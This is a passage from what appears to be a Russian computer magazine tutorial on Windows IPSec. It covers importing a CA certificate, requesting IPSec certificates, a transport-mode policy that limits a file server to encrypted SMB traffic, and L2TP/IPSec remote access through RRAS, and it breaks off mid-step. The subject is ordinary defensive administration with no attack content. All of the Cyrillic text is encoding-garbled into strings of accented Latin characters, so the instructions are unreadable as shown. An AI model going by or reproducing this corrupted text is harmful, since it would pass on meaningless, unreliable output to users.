ÅÒÑß ÓÑÒÀÍÎÂÈÒÜ ÑÅÐÒÈÔÈÊÀÒÛ, Â ÀÄ-
ÐÅÑÍÎÉ ÑÒÐÎÊÅ ÍÀÁÈÐÀÅØÜ:
HTTP://IP_ÖÅÍÒÐÀ_ÑÅÐÒ/CERTSRV.

2 ÂÛÁÈÐÀÅØÜ RETRIEVE THE CA CERTIFI-
CATE OR CERTIFICATE REVOCATION LIST,
ÆÌÅØÜ NEXT.

3 ÍÀÆÈÌÀÅØÜ ÍÀ ÑÑÛËÊÓ DOWNLOAD
CA CERTIFICATE È ÂÛÁÈÐÀÅØÜ SAVE.

4 ÑÎÕÐÀÍßÅØÜ ÔÀÉË, ÑÎÄÅÐÆÀÙÈÉ
ÑÅÐÒÈÔÈÊÀÒ, ÍÀ ÄÈÑÊ.

5 ÌÅÍÞ START RUN MMC, ÍÀÆÈÌÀ-
ÅØÜ ENTER.

6 Â ÎÊÍÅ ÂÛÁÈÐÀÅØÜ FILEÅ, ÄÀËÅÅ
ADD/REMOVE SNAP-IN, ÒÀÌ ADD...

7 Â ÑÏÈÑÊÅ ÂÛÁÈÐÀÅØÜ CERTIFICATES,
ÍÀÆÈÌÀÅØÜ ADD, ÂÛÁÈÐÀÅØÜ 
COMPUTER ACCOUNT È NEXT.

8 ÎÑÒÀÂËßÅØÜ LOCAL COMPUTER, ÄÀËÅÅ
FINISH È ÇÀÊÐÛÂÀÅØÜ ËÈØÍÈÅ ÎÊÍÀ.

9 ÎÒÊÐÛÂÀÅØÜ ÄÅÐÅÂÎ CERTIFICATES,
ÊËÈÊÀß ÍÀ ÏËÞÑ, Â ÏÎÄÄÅÐÅÂÅ ÎÒÊ-
ÐÛÂÀÅØÜ TRUSTED ROOT CERTIFICA-
TION AUTHORITIES È ÏÐÀÂÛÉ ÊËÈÊ 
ÍÀ CERTIFICATES.

1 0 Â ÊÎÍÒÅÊÑÒÍÎÌ ÌÅÍÞ ÂÛÁÈÐÀÅØÜ
ALL TASKSÅ, ÄÀËÅÅ IMPORT.

1 1 Â ÌÀÑÒÅÐÅ ÍÀÆÈÌÀÅØÜ NEXT, Â ÑËÅ-
ÄÓÞÙÅÌ ÎÊÍÅ — BROWSEÅ È ÍÀÕÎ-
ÄÈØÜ ÔÀÉË, ÏÎËÓ×ÅÍÍÛÉ Ñ ÍÀØÅÃÎ
ÖÑ ÑÅÐÒÈÔÈÊÀÒÀ, ÆÌÅØÜ NEXT.

1 2 ÄÀËÅÅ NEXT, ÎÏßÒÜ NEXT È FINISH.

1 3 ÍÀÆÈÌÀÅØÜ OK Â ÎÊÎØÊÅ, ÓÂÅÄÎÌ-
ËßÞÙÅÌ ÎÁ ÓÑÏÅØÍÎÌ ÈÌÏÎÐÒÅ.

Ñîõðàíÿåøü êîíñîëü ñ îñíàñòêîé ñåðòèôèêàòîâ,
îíà åùå ïðèãîäèòñÿ.

Òåïåðü â ñïèñêå äîâåðåííûõ ó íàñ åñòü ñåð-
òèôèêàò ñîçäàííîãî íàìè óäîñòîâåðÿþùåãî öåíò-
ðà, è ìîæíî óêàçàòü, ÷òî äëÿ àóòåíòèôèêàöèè êîí-
öîâ òóííåëÿ IPSec ìîæíî èñïîëüçîâàòü ñåðòèôè-
êàòû, âûäàííûå ýòèì öåíòðîì. Ñäåëàåì ýòî:

1 ÌÅÍÞ START, ÄÀËÅÅ RUN, 
ÍÀÁÈÐÀÅØÜ SECPOL.MSC, ÍÀÆÈÌÀÅØÜ
ENTER.

2 ÑËÅÂÀ ÂÛÁÈÐÀÅØÜ IPSEC POLICIES 
ON LOCAL MACHINE.

3 Â ÏÐÀÂÎÉ ÏÀÍÅËÈ ÄÂÎÉÍÎÉ ÊËÈÊ 
ÍÀ ÍÀØÅÉ ÏÎËÈÒÈÊÅ IPSEC 
(IPSEC NETA NETB).
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4 ÄÀËÅÅ ÄÂÎÉÍÎÉ ÊËÈÊ ÍÀ ÏÅÐÂÎÌ
ÔÈËÜÒÐÅ (NETA NETB), ÇÀÊËÀÄÊÀ
AUTHENTICATION METHOD, ÄÀËÅÅ ADD...

5 ÂÛÁÈÐÀÅØÜ USE A CERTIFICATE FROM
THIS CERTIFICATE AUTHORITY (CA), 
ÍÀÆÈÌÀÅØÜ BROWSE.

6 Â ÑÏÈÑÊÅ ÂÛÁÈÐÀÅØÜ ÂÍÎÂÜ 
ÑÎÇÄÀÍÍÛÉ ÓÄÎÑÒÎÂÅÐßÞÙÈÉ ÖÅÍÒÐ
È ÍÀÆÈÌÀÅØÜ OK.

7 Â ÑËÅÄÓÞÙÅÌ ÎÊÎØÊÅ OK.

8 ÄËß ×ÈÑÒÎÒÛ ÝÊÑÏÅÐÈÌÅÍÒÀ 
ÓÄÀËÈ ÂÑÅ ÎÑÒÀËÜÍÛÅ ÌÅÒÎÄÛ 
ÀÓÒÅÍÒÈÔÈÊÀÖÈÈ, ÏÎÌÅ×Àß 
ÊÀÆÄÛÉ ÈÇ ÍÈÕ È ÍÀÆÈÌÀß REMOVE 
È YES Â ÏÎßÂÈÂØÅÌÑß ÎÊÍÅ.

9 ÏÎÂÒÎÐßÅØÜ ÝÒÓ ÏÐÎÖÅÄÓÐÓ ÄËß
ÂÒÎÐÎÃÎ ÔÈËÜÒÐÀ (NETB NETA).

Íî ñàìîãî ñåðòèôèêàòà äëÿ IPSec ó íàñ ïîêà íåò.
Ïîëó÷èì åãî:

1 Ñ ÊÎÌÏÜÞÒÅÐÀ, ÍÀ ÊÎÒÎÐÎÌ ÒÐÅÁÓ-
ÅÒÑß ÓÑÒÀÍÎÂÈÒÜ ÑÅÐÒÈÔÈÊÀÒÛ, 
Â ÀÄÐÅÑÍÎÉ ÑÒÐÎÊÅ ÍÀÁÈÐÀÅØÜ:
HTTP://IP_ÖÅÍÒÐÀ_ÑÅÐÒ/CERTSRV.

2 ÂÛÁÈÐÀÅØÜ REQUEST A CERTIFICATE
È ÆÌÅØÜ NEXT.

3 ÂÛÁÈÐÀÅØÜ ADVANCED REQUEST
È ÆÌÅØÜ NEXT.

4 ÂÛÁÈÐÀÅØÜ SUBMIT A CERTIFICATE
REQUEST TO THIS CA USING A FORM
È ÆÌÅØÜ NEXT.

5 ÓÊÀÇÛÂÀÅØÜ ÏÀÐÀÌÅÒÐÛ ÇÀÏÐÎÑÀ.
ÈÇ ÎÁßÇÀÒÅËÜÍÎÃÎ INTENDED PURPOSE
ÂÛÁÈÐÀÅØÜ IPSEC CERTIFICATE 
(ÌÎÆÍÎ ÎÑÒÀÂÈÒÜ È CLIENT 
AUTHENTICATION CERTIFICATE, ÎÁËÀÑÒÜ 
ÅÃÎ ÏÐÈÌÅÍÅÍÈß ÁÎËÅÅ ØÈÐÎÊÀß).

6 ÂÛÁÈÐÀÅØÜ ÎÏÖÈÞ USE LOCAL
MACHINE STORE, ÍÀÆÈÌÀÅØÜ 
ÍÀ SUBMIT È YES.

Äàëüíåéøèå äåéñòâèÿ âûïîëíÿþòñÿ íà êîìïüþòå-
ðå ñ óñòàíîâëåííûì óäîñòîâåðÿþùèì öåíòðîì:

7 ÈÇ ÏÀÏÊÈ ADMINISTRATIVE TOOLS ÎÒÊ-
ÐÛÂÀÅØÜ ÎÑÍÀÑÒÊÓ CERTIFICATION
AUTHORITY.

8 ÎÒÊÐÛÂÀÅØÜ ÄÅÐÅÂÎ ÊÎÍÑÎËÈ, ÍÀ-
ÆÈÌÀß ÍÀ ÏËÞÑÈÊ, È ÂÛÁÈÐÀÅØÜ
PENDING REQUESTS.

9 Â ÏÐÀÂÎÉ ÏÀÍÅËÈ ÍÀÕÎÄÈØÜ ÇÀÏÐÎÑ
ÍÀ ÍÀØ ÑÅÐÒÈÔÈÊÀÒ, ÍÀ ÍÅÌ ÏÐÀÂÛÉ
ÊËÈÊ, ALL TASKS È ISSUE.

Òåïåðü ñ êîìïüþòåðà, ñ êîòîðîãî ñåðòèôèêàò çàï-
ðàøèâàëñÿ, ìîæíî åãî ïîëó÷èòü. Äëÿ ýòîãî:

1 0 Ñ ÊÎÌÏÜÞÒÅÐÀ, ÍÀ ÊÎÒÎÐÎÌ ÒÐÅÁÓ-
ÅÒÑß ÓÑÒÀÍÎÂÈÒÜ ÑÅÐÒÈÔÈÊÀÒ, Â ÀÄ-
ÐÅÑÍÎÉ ÑÒÐÎÊÅ ÍÀÁÈÐÀÅØÜ:
HTTP://IP_ÖÅÍÒÐÀ_ÑÅÐÒ/CERTSRV.

1 1 ÂÛÁÈÐÀÅØÜ CHECK ON A PENDING
CERTIFICATE, ÄÀËÅÅ NEXT.

1 2 Â ÎÊÍÅ PLEASE SELECT 
THE CERTIFICATE REQUEST YOU WANT 
TO CHECK ÄÎËÆÅÍ ÏÎßÂÈÒÜÑß 
ÑÅÐÒÈÔÈÊÀÒ. ÊËÈÊÀÅØÜ NEXT 
È ÂÛÁÈÐÀÅØÜ INSTALL THIS 
CERTIFICATE, Â ÎÊÍÅ ÍÀÆÈÌÀÅØÜ YES.

Ïðîâåðü, ÷òî â îñíàñòêå Certificate(Local Computer),
â âåòâè Personal Certificates ïîÿâèëñÿ ñåðòèôèêàò.

Òåïåðü ïðîáóé îïÿòü óñòàíîâèòü IPSec-ñîå-
äèíåíèå. Òóííåëü äîëæåí ïîäíÿòüñÿ ñ àóòåíòèôè-
êàöèåé ñòîðîí ñ ïîìîùüþ ñåðòèôèêàòîâ.

òðàíñïîðòíûé ððåæèì. ññöåíàðèé 22. Îáåñïå-
÷èì øèôðîâàíèå òðàôèêà ìåæäó ôàéëîâûì ñåð-
âåðîì è êîìïüþòåðàìè â ëîêàëüíîé ñåòè, èñïîëü-
çóÿ IPSec â òðàíñïîðòíîì ðåæèìå.

Äëÿ ôàéëîâîãî ñåðâåðà ðàçðåøè øèôðî-
âàííûé òðàôèê íà TCP/139 è TCP/445 ïîðòû è íå-
øèôðîâàííûå âõîäÿùèå ICMP-ïàêåòû. Âåñü îñ-
òàëüíîé òðàôèê çàïðåòè.

Íàñòðàèâàé ôàéëîâûé ñåðâåð (ðîóòèòü
çäåñü íè÷åãî íå íóæíî, ïîýòîìó â êà÷åñòâå ñåðâå-
ðà ïîäîéäåò êîìïüþòåð è ïîä óïðàâëåíèåì íå ñåð-
âåðíîé ïëàòôîðìû Windows):

1 ÌÅÍÞ START, ÄÀËÅÅ RUN, ÍÀÁÈÐÀÅØÜ
SECPOL.MSC È ÍÀÆÈÌÀÅØÜ ENTER.

2 ÏÐÀÂÛÉ ÊËÈÊ ÍÀ IP SECURITY POLI-
CIES ON LOCAL MACHINE, ÄÀËÅÅ ÊËÈÊ
CREATE IP SECURITY POLICY.

3 ÊËÈÊÀÅØÜ NEXT.

4 ÏÈØÅØÜ ÈÌß ÍÎÂÎÉ ÏÎËÈÒÈÊÈ, ÍÀÏ-
ÐÈÌÅÐ «IPSEC FOR FILE SERVER», NEXT.

5 ÑÍÈÌÀÅØÜ ÃÀËÊÓ ACTIVATE THE DEFAULT
RESPONSE RULE, ÊËÈÊÀÅØÜ NEXT.

6 ÎÑÒÀÂËßÅØÜ ÎÏÖÈÞ EDIT PROPER-
TIES, ÊËÈÊÀÅØÜ FINISH.

7 ÄÎÁÀÂËßÅØÜ ÏÐÀÂÈËÎ IPSEC, 
ÊËÈÊÀß ADD...
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8 ÄÎÁÀÂËßÅØÜ IP FILTER, ÊËÈÊÀß ADD...

9 ÍÀÇÛÂÀÅØÜ ÔÈËÜÒÐ INBOUND SMB
È ÍÀÆÈÌÀÅØÜ ADD.

1 0 Â SOURCE ADDRESS ÂÛÁÈÐÀÅØÜ
A SPECIFIC IP SUBNET È ÏÈØÅØÜ ÀÄÐÅÑ
È ÌÀÑÊÓ ÄËß ÑÅÒÈ «À», Â DESTINATION
ADDRESS ÓÊÀÇÛÂÀÅØÜ IP_ÔÀÉË.ÑÅÐÂÅ-
ÐÀ. ÎÑÒÀÂËßÅØÜ ÎÏÖÈÞ MIRRORED.
ALSO MATCH PACKETS WITH THE EXACT
OPPOSITE SOURCE AND DESTINATION
ADDRESSES.

1 1 ÍÀ ÇÀÊËÀÄÊÅ PROTOCOL ÂÛÁÈÐÀÅØÜ
ÒÈÏ ÏÐÎÒÎÊÎËÀ TCP Ñ ËÞÁÎÃÎ ÏÎÐÒÀ
ÍÀ 139 È ÆÌÅØÜ ÎÊ.

1 2 ÍÀÆÈÌÀÅØÜ ADD.

1 3 Â SOURCE ADDRESS ÂÛÁÈÐÀÅØÜ
A SPECIFIC IP SUBNET È ÏÈØÅØÜ ÀÄÐÅÑ
È ÌÀÑÊÓ ÄËß ÑÅÒÈ «À», Â DESTINATION
ADDRESS ÓÊÀÇÛÂÀÅØÜ MY IP ADDRESS.
ÎÑÒÀÂËßÅØÜ ÎÏÖÈÞ MIRRORED. ALSO
MATCH PACKETS WITH THE EXACT OPPO-
SITE SOURCE AND DESTINATION
ADDRESSES.

1 4 ÍÀ ÇÀÊËÀÄÊÅ PROTOCOL ÂÛÁÈÐÀÅØÜ
ÒÈÏ ÏÐÎÒÎÊÎËÀ TCP Ñ ËÞÁÎÃÎ ÏÎÐÒÀ
ÍÀ 445 È ÆÌÅØÜ ÎÊ.

1 5 ÇÀÊÐÛÂÀÅØÜ IP FILTER LIST, ÍÀÆÈ-
ÌÀß CLOSE.

1 6 ÍÀ ÇÀÊËÀÄÊÅ IP FILTER LIST ÂÛÁÈÐÀÅØÜ
ÒÎËÜÊÎ ×ÒÎ ÑÎÇÄÀÍÍÛÉ INBOUND SMB.

1 7 ÍÀ ÇÀÊËÀÄÊÅ AUTHENTICATION
METHOD ÂÛÁÈÐÀÅØÜ ÌÅÒÎÄ ÀÓÒÅÍÒÈ-
ÔÈÊÀÖÈÈ (ÅÑËÈ ÊÎÌÏÜÞÒÅÐÛ ÈÇ ÎÄ-
ÍÎÃÎ ÄÎÌÅÍÀ, ÅÑÒÅÑÒÂÅÍÍÎ, ÎÑÒÀÂ-
ËßÅØÜ KERBEROS, ÅÑËÈ ÅÑÒÜ ÓÄÎÑÒÎ-
ÂÅÐßÞÙÈÉ ÖÅÍÒÐ È ÑÎÎÒÂÅÒÑÒÂÓÞ-
ÙÈÅ ÑÅÐÒÈÔÈÊÀÒÛ IPSEC, ÂÛÁÈÐÀÅØÜ
USE CERTIFICATE, Â ÏÐÎÒÈÂÍÎÌ ÑËÓ-
×ÀÅ ÏÎËÜÇÓÅØÜÑß PRESHARED KEY).

1 8 ÍÀ ÇÀÊËÀÄÊÅ FILTER ACTION ÂÛÁÈÐÀ-
ÅØÜ REQUIRE SECURITY EDIT.

1 9 ÓÁÈÐÀÅØÜ (ÅÑËÈ ÓÑÒÀÍÎÂËÅÍÀ) ÎÏ-
ÖÈÞ ACCEPT UNSECURED COMMUNICA-
TION, BUT ALWAYS RESPOND USING
IPSEC È ÍÀÆÈÌÀÅØÜ OK, ÄÀËÅÅ CLOSE.

2 0 Â ÑÏÈÑÊÅ ÏÐÀÂÈË ÍÀÆÈÌÀÅØÜ ADDÅ
È ÂÛÁÈÐÀÅØÜ ALL ICMP TRAFFIC.

2 1 ÍÀ ÇÀÊËÀÄÊÅ AUTHENTICATION
METHOD ÂÛÁÈÐÀÅØÜ ÒÀÊÎÉ ÆÅ ÌÅÒÎÄ,
ÊÀÊ Â ÏÓÍÊÒÅ 17.

2 2 ÍÀ ÇÀÊËÀÄÊÅ FILTER ACTION ÂÛÁÈÐÀ-
ÅØÜ PERMIT È ÍÀÆÈÌÀÅØÜ OK.

2 3 Â ÑÏÈÑÊÅ ÏÐÀÂÈË ÎÏßÒÜ ÍÀÆÈÌÀ-
ÅØÜ ADD, ÂÛÁÈÐÀÅØÜ ALL IP TRAFFIC.

2 4 ÍÀ ÇÀÊËÀÄÊÅ AUTHENTICATION
METHOD ÂÛÁÈÐÀÅØÜ ÒÀÊÎÉ ÆÅ ÌÅÒÎÄ,
ÊÀÊ Â ÏÓÍÊÒÅ 17.

2 5 ÍÀ ÇÀÊËÀÄÊÅ FILTER ACTION ÍÀÆÈ-
ÌÀÅØÜ ADD.

2 6 Â SECURITY METHOD ÂÛÁÈÐÀÅØÜ
BLOCK, ÏÅÐÅÕÎÄÈØÜ ÍÀ ÇÀÊËÀÄÊÓ
GENERAL È ÏÈØÅØÜ ÒÀÌ BLOCK TRAF-
FIC, ÍÀÆÈÌÀÅØÜ ÍÀ OK.

2 7 Â ÎÊÎØÊÅ FILTER ACTION ÂÛÁÈÐÀ-
ÅØÜ BLOCK TRAFFIC È CLOSE.

Â èòîãå ïîëó÷èëîñü òðè ïðàâèëà. Ïîðÿäîê èõ íå ìå-
íÿåòñÿ, è ïðèìåíÿþòñÿ îíè ïî ñïåöèôè÷íîñòè. Òî
åñòü åñëè ïîéäóò âõîäÿùèå ICMP-ïàêåòû, ñðàáîòà-
åò ïðàâèëî Allow ICMP traffic è ò.ä.

Çàêðûâàåøü îêíà è íàçíà÷àåøü ñîçäàííóþ
ïîëèòèêó. Äëÿ ýòîãî íà èìåíè ïîëèòèêè IPSec for File
Server ïðàâûé êëèê, â êîíòåêñòíîì ìåíþ — Assign.

Äëÿ ïðèìåíåíèÿ èçìåíåíèé ïåðåçàïóñêàåøü
ñëóæáó IPSec:

net stop policyagent

net start policyagent

Íàñòðàèâàåøü IPSec-ïîëèòèêó íà êëèåíòñêîì
êîìïüþòåðå (ðàñïðîñòðàíèòü ïîëèòèêó íà äðóãèå
ìàøèíû ìîæíî ëèáî ÷åðåç ãðóïïîâóþ ïîëèòèêó,
åñëè åñòü äîìåí, ëèáî ÷åðåç îñíàñòêó Security
Templates è ýêñïîðò ïîëèòèê):

1 ÌÅÍÞ START, ÄÀËÅÅ RUN, ÍÀÁÈÐÀÅØÜ
SECPOL.MSC È ÍÀÆÈÌÀÅØÜ ENTER.

2 ÏÐÀÂÛÉ ÊËÈÊ ÍÀ IP SECURITY POLI-
CIES ON LOCAL MACHINE, ÄÀËÅÅ ÊËÈÊ
CREATE IP SECURITY POLICY.

3 ÊËÈÊÀÅØÜ NEXT.

4 ÏÈØÅØÜ ÈÌß ÍÎÂÎÉ ÏÎËÈÒÈÊÈ, ÍÀÏ-
ÐÈÌÅÐ «IPSEC FOR FILE SERVER», ÊËÈ-
ÊÀÅØÜ NEXT.

5 ÓÁÈÐÀÅØÜ ÎÏÖÈÞ ACTIVATE THE
DEFAULT RESPONSE RULE NEXT.

6 ÎÑÒÀÂËßÅØÜ ÎÏÖÈÞ EDIT PROPER-
TIES, ÊËÈÊÀÅØÜ FINISH.

7 ÄÎÁÀÂËßÅØÜ ÏÐÀÂÈËÎ IPSEC, ADD.

8 ÄÎÁÀÂËßÅØÜ IP FILTER, ÊËÈÊÀß ADD.

9 ÍÀÇÛÂÀÅØÜ ÔÈËÜÒÐ OUTBOUND SMB
È ÍÀÆÈÌÀÅØÜ ADD.

1 0 Â SOURCE ADDRESS ÓÊÀÇÛÂÀÅØÜ
MY IP ADDRESS, Â DESTINATION ADDRESS
ÓÊÀÇÛÂÀÅØÜ IP_ÔÀÉË.ÑÅÐÂÅÐÀ. ÎÑ-
ÒÀÂËßÅØÜ ÎÏÖÈÞ MIRRORED. ALSO
MATCH PACKETS WITH THE EXACT OPPO-
SITE SOURCE AND DESTINATION
ADDRESSES.

1 1 ÍÀ ÇÀÊËÀÄÊÅ PROTOCOL ÂÛÁÈÐÀÅØÜ
ÒÈÏ ÏÐÎÒÎÊÎËÀ TCP Ñ ËÞÁÎÃÎ ÏÎÐÒÀ
ÍÀ 139 È ÆÌÅØÜ ÎÊ.

1 2 ÍÀÆÈÌÀÅØÜ ADD.

1 3 Â SOURCE ADDRESS ÓÊÀÇÛÂÀÅØÜ 
MY IP ADDRESS, Â DESTINATION ADDRESS
ÓÊÀÇÛÂÀÅØÜ IP_ÔÀÉË.ÑÅÐÂÅÐÀ. ÎÑ-
ÒÀÂËßÅØÜ ÎÏÖÈÞ MIRRORED. ALSO
MATCH PACKETS WITH THE EXACT OPPO-
SITE SOURCE AND DESTINATION
ADDRESSES.

1 4 ÍÀ ÇÀÊËÀÄÊÅ PROTOCOL ÂÛÁÈÐÀÅØÜ
ÒÈÏ ÏÐÎÒÎÊÎËÀ TCP Ñ ËÞÁÎÃÎ ÏÎÐÒÀ
ÍÀ 445 È ÆÌÅØÜ ÎÊ.

1 5 ÇÀÊÐÛÂÀÅØÜ IP FILTER LIST, 
ÍÀÆÈÌÀß CLOSE.

1 6 ÍÀ ÇÀÊËÀÄÊÅ IP FILTER LIST ÂÛÁÈÐÀ-
ÅØÜ ÒÎËÜÊÎ ×ÒÎ ÑÎÇÄÀÍÍÛÉ 
OUTBOUND SMB.

1 7 ÍÀ ÇÀÊËÀÄÊÅ AUTHENTICATION
METHOD ÄÎÁÀÂËßÅØÜ ÂÛÁÐÀÍÍÛÉ 
ÐÀÍÅÅ ÌÅÒÎÄ ÀÓÒÅÍÒÈÔÈÊÀÖÈÈ.

1 8 ÍÀ ÇÀÊËÀÄÊÅ FILTER ACTION ÂÛÁÈÐÀ-
ÅØÜ REQUEST SECURITY (OPTIONAL).

1 9 ÇÀÊÐÛÂÀÅØÜ ÂÑÅ ÎÊÎØÊÈ, ÍÀÇÍÀ-
×ÀÅØÜ ÎÒÐÅÄÀÊÒÈÐÎÂÀÍÍÓÞ ÏÎËÈÒÈ-
ÊÓ È ÏÅÐÅÇÀÏÓÑÊÀÅØÜ ÑËÓÆÁÓ IPSEC.

Äëÿ ïðîâåðêè ïðàâèëüíîñòè êîíôèãóðàöèè ïóñêà-
åøü ping äî ñåðâåðà (îí äîëæåí ïðîéòè), çàòåì îòê-
ðûâàåøü ÷åðåç ìåíþ Start Run \\ip_ôàéë.ñåð-
âåðà, — äîëæíû îòîáðàçèòüñÿ îáùèå ïàïêè è ïðèí-
òåðû. Ìîæíî âîñïîëüçîâàòüñÿ óòèëèòîé ipsecmon è
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àíàëèçàòîðîì òðàôèêà äëÿ êîíòðîëÿ òîãî, ÷òî íóæ-
íûå ïàêåòû øèôðóþòñÿ. Íèêàêîé äðóãîé òðàôèê íè
íà ñåðâåð, íè ñ ñåðâåðà ïðîõîäèòü íå äîëæåí.

Ïðåäïîëàãàåì, ÷òî ôàéëîâûé ñåðâåð íå ïðå-
äîñòàâëÿåò äðóãèõ ñåðâèñîâ, íàïðèìåð ñåðâèñà
ðàçðåøåíèÿ èìåí, òàê êàê â ýòîì ñëó÷àå íóæíî áû-
ëî ðàçðåøàòü áîëüøå òèïîâ âõîäÿùåãî òðàôèêà.

L2TP/IPSec. Ìîæíî ëè èñïîëüçîâàòü IPSec
â òóííåëüíîì ðåæèìå äëÿ ñõåìû, êîãäà òðåáóåòñÿ
ñîåäèíèòü íå ñåòü ñ ñåòüþ, à êîìïüþòåð, èìåþùèé
äèíàìè÷åñêèé àäðåñ, ñ êîìïüþòåðîì èëè êîìïüþ-
òåð ñ ñåòüþ? Òàêàÿ ñèòóàöèÿ âîçíèêàåò, êîãäà íå-
îáõîäèìî îáåñïå÷èòü çàùèùåííûé äîñòóï ïîëüçî-
âàòåëåé, íàïðèìåð èç äîìà èëè îò ñîòðóäíèêà ñ íî-
óòáóêîì â êîìàíäèðîâêå â îôèñíóþ ñåòü.

ñöåíàðèé 33. Êàê ïðàâèëî, âîçíèêàåò íåñêîëü-
êî ñòàíäàðòíûõ âîïðîñîâ. Îòêóäà âçÿòü êîìïüþòå-
ðàì èç ëîêàëüíîé ñåòè äâà IP-àäðåñà? ×òîáû èñõî-
äÿùèé ïàêåò ïîïàë ïîä äåéñòâèå IPSec-ïîëèòèêè,
îí äîëæåí èìåòü àäðåñ èñòî÷íèêà ip_à_âíóòð, à
åñëè òðàôèê ãåíåðèðóåòñÿ êîìïüþòåðîì ñ äâóìÿ
IP-àäðåñàìè, ïðèíàäëåæàùèìè ðàçíûì ñåòÿì, êà-
êîé àäðåñ ïîäñòàâèòñÿ â êà÷åñòâå èñòî÷íèêà?

Íà ïåðâûé âîïðîñ îòâåò ïðîñòîé. Âî-ïåðâûõ,
ìîæíî óñòàíîâèòü äîïîëíèòåëüíûé IP–àäðåñ ê ñó-
ùåñòâóþùåìó ñåòåâîìó èíòåðôåéñó. Âî-âòîðûõ,
óñòàíîâèòü Microsoft Loopback Adapter (ýìóëÿòîð
ñåòåâîé êàðòû) è íàñòðîèòü àäðåñà íà íåì.

À íà âòîðîé âîïðîñ íåò ïðîñòîãî îòâåòà, òàê
êàê ðåøåíèå î âûáîðå IP-àäðåñà èñòî÷íèêà ïðèíè-
ìàåò ëèáî ñèñòåìà, ëèáî ïðèëîæåíèå, íî íèêàê íå
ïîëüçîâàòåëü. Ïðè÷åì, åñëè ïðèëîæåíèå ïðè âûçî-
âå ôóíêöèè bind() óêàçûâàåò àäðåñ èñòî÷íèêà, òî îí
èñïîëüçóåòñÿ äëÿ èñõîäÿùèõ ïàêåòîâ. Åñëè ïðèëî-
æåíèå íå óêàçûâàåò åãî, ñèñòåìà ñàìà âûáèðàåò IP-
àäðåñ (ïî òàáëèöå ìàðøðóòèçàöèè ñìîòðèò, ÷åðåç
êàêîé èíòåðôåéñ äîñòèæèì IP-àäðåñ ïîëó÷àòåëÿ è
âûáèðàåò IP-àäðåñ èñòî÷íèêà, ñâÿçàííûé ñ ýòèì èí-
òåðôåéñîì). Åñëè ê èíòåðôåéñó ïðèâÿçàíî íåñ-
êîëüêî àäðåñîâ, âèäèìî, âûáèðàåòñÿ òîò, êîòîðûé
ïðèíàäëåæèò òîé æå ñåòè, ÷òî è øëþç (ïîäðîáíåå
ñìîòðè íà http://support.microsoft.com/kb/175396/en-us).

Âûâîä ñëåäóþùèé: íàñòðîèòü IPSec-òóííåëü
â ñöåíàðèè 3 òàê, ÷òîáû âåñü òðàôèê ïðîõîäèë ÷åðåç
íåãî, ïðîáëåìàòè÷íî äàæå äëÿ ñòàòè÷åñêèõ àäðåñîâ.

Íå ïîëó÷àåòñÿ — è ëàäíî! Äëÿ ýòîãî ñöåíàðèÿ ìîæíî
âîñïîëüçîâàòüñÿ ïðîòîêîëîì òóííåëèðîâàíèÿ L2TP,
êîòîðûé èñïîëüçóåò ïðîòîêîë PPP äëÿ èíêàïñóëÿöèè
äàííûõ è ïðîòîêîë IPSec äëÿ øèôðîâàíèÿ. Âîò êàê
âûãëÿäèò ïàêåò äî è ïîñëå ïðèìåíåíèÿ L2TP/IPSec.

Çàìåòèì, ÷òî ïîëèòèêà IPSec òðåáóåò çàäàíèÿ
êîíêðåòíûõ IP-àäðåñîâ äëÿ óäàëåííûõ êîíöîâ òóí-
íåëÿ. À åñëè àäðåñ îäíîé èç âçàèìîäåéñòâóþùèõ
ñòîðîí ìåíÿåòñÿ (òî åñòü âûäàåòñÿ äèíàìè÷åñêè è
êàæäûé ðàç ðàçíûé, íàïðèìåð ïðè äîñòóïå èç äîìà
â îôèñ ÷åðåç dial-up ñîåäèíåíèå) ñòàíäàðòíûìè
ñðåäñòâàìè Windows IPSec-òóííåëü íå ïîñòðîèøü.

Ïðåäîñòàâèì óäàëåííûé äîñòóï ê ñåòè ÷åðåç
L2TP-/IPsec-ñîåäèíåíèå äëÿ äàííîãî ñöåíàðèÿ.
Íàñòðàèâàåì ñëóæáó RRAS íà ñåðâåðå:

1 ÌÅÍÞ START PROGRAMS
ADMINISTRATIVE TOOLS ROUTING
AND REMOTE ACCESS.

2 ÍÀ ÍÀÇÂÀÍÈÈ ÊÎÌÏÜÞÒÅÐÀ ÏÐÀÂÛÉ
ÊËÈÊ, CONFIGURE AND ENABLE ROUTING
AND REMOTE ACCESS.

3 Â ÑËÅÄÓÞÙÅÌ ÎÊÎØÊÅ NEXT.

4 ÄÀËÅÅ ÂÛÁÈÐÀÅØÜ MANUALLY 
CONFIGURED SERVER, ÊËÈÊÀÅØÜ NEXT.

5 ÊËÈÊÀÅØÜ FINISH.

6 ÊËÈÊÀÅØÜ YES.

7 ÎÒÊÐÛÂÀÅØÜ ÄÅÐÅÂÎ ÍÀ ÏÐÀÂÎÉ 
ÏÀÍÅËÈ, ÍÀÆÈÌÀß ÏËÞÑÈÊ ÍÀÏÐÎÒÈÂ
ÍÀÇÂÀÍÈß ÑÅÐÂÅÐÀ.

8 ÍÀ PORTS ÏÐÀÂÛÉ ÊËÈÊ, 
ÄÀËÅÅ PROPERTIES.

9 ÂÛÁÈÐÀÅØÜ WAN MINIPORT (PPTP), 
ÍÀÆÈÌÀÅØÜ CONFIGURE.

1 0 ÓÁÈÐÀÅØÜ ÎÏÖÈÈ REMOTE ACCESS
CONNECTIONS (INBOUND ONLY)
È DEMAND-DIAL ROUTING CONNECTIONS
(INBOUND AND OUTBOUND).

1 1 Â ÏÎËÅ MAXIMUM PORTS ÑÒÀÂÈØÜ 1,
ÄÀËÅÅ OK È YES.

1 2 ÂÛÁÈÐÀÅØÜ DIRECT PARALLEL, 
ÍÀÆÈÌÀÅØÜ CONFIGURE.

1 3 ÓÁÈÐÀÅØÜ ÎÏÖÈÞ DEMAND-DIAL
ROUTING CONNECTIONS (INBOUND AND
OUTBOUND) È ÍÀÆÈÌÀÅØÜ OK.

1 4 ÂÛÁÈÐÀÅØÜ WAN MINIPORT (L2TP),
ÍÀÆÈÌÀÅØÜ CONFIGURE.

1 5 ÓÁÈÐÀÅØÜ ÎÏÖÈÞ DEMAND-DIAL
ROUTING CONNECTIONS (INBOUND AND
OUTBOUND).

1 6 Â ÏÎËÅ MAXIMUM PORTS ÑÒÀÂÈØÜ
ÍÅÎÁÕÎÄÈÌÎÅ ÊÎËÈ×ÅÑÒÂÎ ÏÎÐ-
ÒÎÂ (ÌÈÍÈÌÓÌ 1), ÄÀËÅÅ OK È OK.

1 7 Â ÊÎÍÑÎËÈ ÓÏÐÀÂËÅÍÈß ÏÐÀÂÛÉ
